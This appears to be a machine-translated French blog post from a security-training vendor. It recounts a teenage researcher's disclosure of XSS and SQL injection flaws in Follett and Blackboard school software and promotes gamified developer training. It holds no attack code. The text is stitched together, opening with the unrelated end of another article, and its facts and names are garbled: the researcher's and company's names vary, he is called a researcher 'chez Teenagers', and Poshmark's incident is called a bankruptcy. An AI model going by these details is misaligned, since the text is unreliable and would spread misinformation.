Alors, sachant qu'il s'agit du climat actuel dans lequel les développeurs reçoivent une formation et se familiarisent avec la sécurité, pourquoi sommes-nous surpris de ce mauvais résultat ? Cela pourrait avoir un effet - positif - pour le développeur et l'organisation d'assurer une expérience de formation plus fluide, plus intégrée et moins dérangeante, où elle est accessible dans les espaces dans lesquels ils travaillent réellement, comme Jira, GitHub, et dans l'IDE. L'industrie doit simplement aller de l'avant et rendre la sensibilisation à la sécurité beaucoup plus facile, dans un environnement où elle n'est plus un luxe.

Prêt à sécuriser le processus de développement ?

Les développeurs sensibilisés à la sécurité sont vénérés pour leurs compétences et la protection qu'ils peuvent offrir aux organisations dès la phase de construction du code. La sécurité n'est plus optionnelle, surtout avec les amendes GDPR, les réglementations de conformité PCI-DSS, la gouvernance NIST... et la possibilité d'être poursuivi en justice dans le cadre d'une action collective de plusieurs millions de dollars, à la manière d'Equifax.

Une approche intégrée pourrait être le catalyseur pour commencer à gagner les développeurs avec un apprentissage moins perturbant, et créer des voies pour un apprentissage plus approfondi courses, former des champions de la sécurité, et généralement inspirer cette responsabilité partagée dont nous avons besoin pour garder les données du monde sûres et solides.

Téléchargez les outils d'intégration pour Jira et GitHub maintenant, et faites-nous savoir ce que vous en pensez.

Le dernier rapport de Bill Demirkapi, chercheur en sécurité chez Teenagers, qui a révélé une faille majeure dans le logiciel utilisé dans son école, a certainement ravivé certains souvenirs. Je me souviens, enfant curieux, avoir ouvert le logiciel pour voir comment il fonctionnait et, surtout, si je pouvais le pirater. Depuis des décennies,les ingénieurs logiciels cherchent à améliorer et à renforcer continuellement leurs produits, et la communauté de la sécurité (même si ses méthodes sont parfois un peu effrontées) joue un rôle important dans la découverte des failles et des catastrophes potentielles, dans l'espoir que les personnes mal intentionnées ne le fassent pas avant.

Cependant, le problème ici est que, en réponse à sa découverte, il a été temporairement suspendu de ses études. Cela s'est produit après qu'il ait épuisé tous les moyens de contacterl'entreprise (Flare) en privé, et qu'il ait finalement choisi de lancer une attaque assez publique pour prouver son identité et sa capacité à pirater le système. Il a tenté à plusieurs reprises d'avertir Flare de manière éthique, mais n'a reçu aucune réponse, et le logiciel reste vulnérable.et les données d'un grand nombre d'étudiants étaient facilement accessibles, car la plupart d'entre elles n'étaient pas cryptées.

Il a également identifié une faille dans le logiciel d'une autre entreprise : Blackboard. Bien que les données de Blackboard aient au moins été cryptées, un attaquant potentiel aurait pu s'introduire à nouveau dans le système et dérober des millions d'enregistrements. Son établissement scolaire utilise ce logiciel ainsi que les produits de Flare.

Le terme « pirate informatique malveillant » est discutable.

Lors de la conférence DEF CONde cette année, Demir Kapı a présenté ses découvertes, et les détails les plus amusants de sa présentationont été accueillis par les applaudissements du public.En effet, selon certaines sources, la société Folet lui aurait exprimé sa gratitude pour ses efforts et aurait suivi ses recommandations, ce qui aurait permis de renforcer la sécurité de ses logiciels et d'éviter une nouvelle crise liée à une fuite de données, malgré sa situation initialement défavorable. Après avoir obtenu son diplôme d'études secondaires, il poursuivra ses études au Rochester Institute of Technology, ce qui montre clairement qu'il est en bonne voie pour devenir un expert en sécurité très recherché.

En tant que responsable de la sécurité, il est difficile de ne pas remettre en question la manière dont cette situation a été gérée. Même si tout s'est bien terminé, il a initialement été considéré comme un individu indésirable qui s'immisçait dans des affaires qui ne le concernaient pas. Dans les résultats de recherche Google sur cet incident, certains articles le qualifient de « pirate informatique » (ce qui, aux yeux des profanes en matière de sécurité, le positionne à bien des égards comme un méchant), alors qu'en réalité, sa méthode (ainsi que celle de nombreuses autres personnes) contribue à protéger la sécurité de nos données.

Nous avons besoin de personnes curieuses, intelligentes et soucieuses de la sécurité pour approfondir nos connaissances, et nous devons mener des enquêtes plus fréquentes. En juillet, plus de quatre milliards d'enregistrements ont été exposés à des fuites de données malveillantes, rien que cette année. Avec la faillite en août de la marque de mode et de lifestyle Poshmark, vous pouvez ajouter 50 millions à ce chiffre.

Nous commettons les mêmes erreurs, et ce qui est plus préoccupant, c'est que ces erreurs sont souvent de simples failles qui nous mettent constamment dans des situations difficiles.

Les attaques de type « cross-site scripting » et les injections SQL persistent.

Selon certaines informations, Cableet Demirkapi ont découvert que le logiciel communautaire Blackboards et le système d'information étudiant Folletts comportaient des failles de sécurité courantes, telles que le script intersite (XSS) et l'injection SQL, deux vulnérabilités qui préoccupent les experts en sécurité depuis les années 1990. Nous avons toléré leur présence pendant un certain temps , un temps considérable, tout comme les t-shirts Hypercolor et les disquettes, qui devraient désormais appartenir au passé.

Cependant, ce n'est pas le cas. Il est évident que peu de développeurs font preuve d'une vigilance suffisante pour empêcher leur introduction dans leur code. Les outils d'analyse et les revues de code manuelles ne peuvent jouer qu'un rôle limité, et il existe des problèmes de sécurité bien plus complexes que les injections XSS et SQL, dans lesquels ces mesures coûteuses et chronophages peuvent être mieux utilisées.

Des individus tels que Bill Demirkapi devraient inciter les développeurs à créer un code de meilleure qualité. À seulement 17 ans, il a réussi à compromettre deux systèmes à fort trafic à l'aide de vecteurs de menaces qui auraient dû être détectés et corrigés avant la soumission du code.

La ludification : la clé de la participation ?

J'ai beaucoup écrit sur les raisons pour lesquelles les développeurs ne s'impliquent généralement pas dans les questions de sécurité. En résumé, peu d'efforts sont déployés, tant au niveau organisationnel qu'éducatif, pour former des développeurs sensibilisés à la sécurité. Lorsque les entreprises consacrent du temps à instaurer une culture de la sécurité qui récompense et valorise l'implication, notamment en mettant en place des formations qui parlent le langage des développeurs et les encouragent à persévérer, ces vulnérabilités indésirables commencent à disparaître des logiciels que nous utilisons.

Demirkapi manifeste un intérêt particulier pour la sécurité et a consacré du temps à apprendre comment procéder à l'ingénierie inverse de logiciels malveillants, découvrir des vulnérabilités et compromettre des systèmes qui semblent intacts de l'extérieur. Cependant, lors de notre conversation (et à travers sa présentation DEF CON), il a fait une déclaration intéressante au sujet de son autoformation... Il l'a transformée en jeu :

« L'objectif était de découvrir certains éléments dans le logiciel de mon école, ce qui constituait une approche ludique intéressante pour apprendre de manière autonome de nombreux tests d'intrusion. Bien que j'aie commencé mes recherches dans le but d'approfondir mes connaissances, j'ai finalement constaté que la situation était bien plus préoccupante que je ne l'avais imaginé », a-t-il déclaré.

Bien que tous les développeurs ne souhaitent pas se spécialiser dans la sécurité, il est important que chacun ait la possibilité d'améliorer ses connaissances en la matière. Les connaissances de base constituent en quelque sorte une « licence de code » au sein de l'organisation, en particulier pour les développeurs qui contrôlent une grande quantité de données sensibles. Si chaque développeur est capable de corriger les failles de sécurité les plus simples avant même qu'elles ne soient exploitées, nous serons mieux protégés contre ceux qui cherchent à causer des dommages importants.

Êtes-vous intéressé par la formation ludique ? Veuillez consulter notre série « Les programmeurs à la conquête de la sécurité » en ligne. XSS et injection SQL.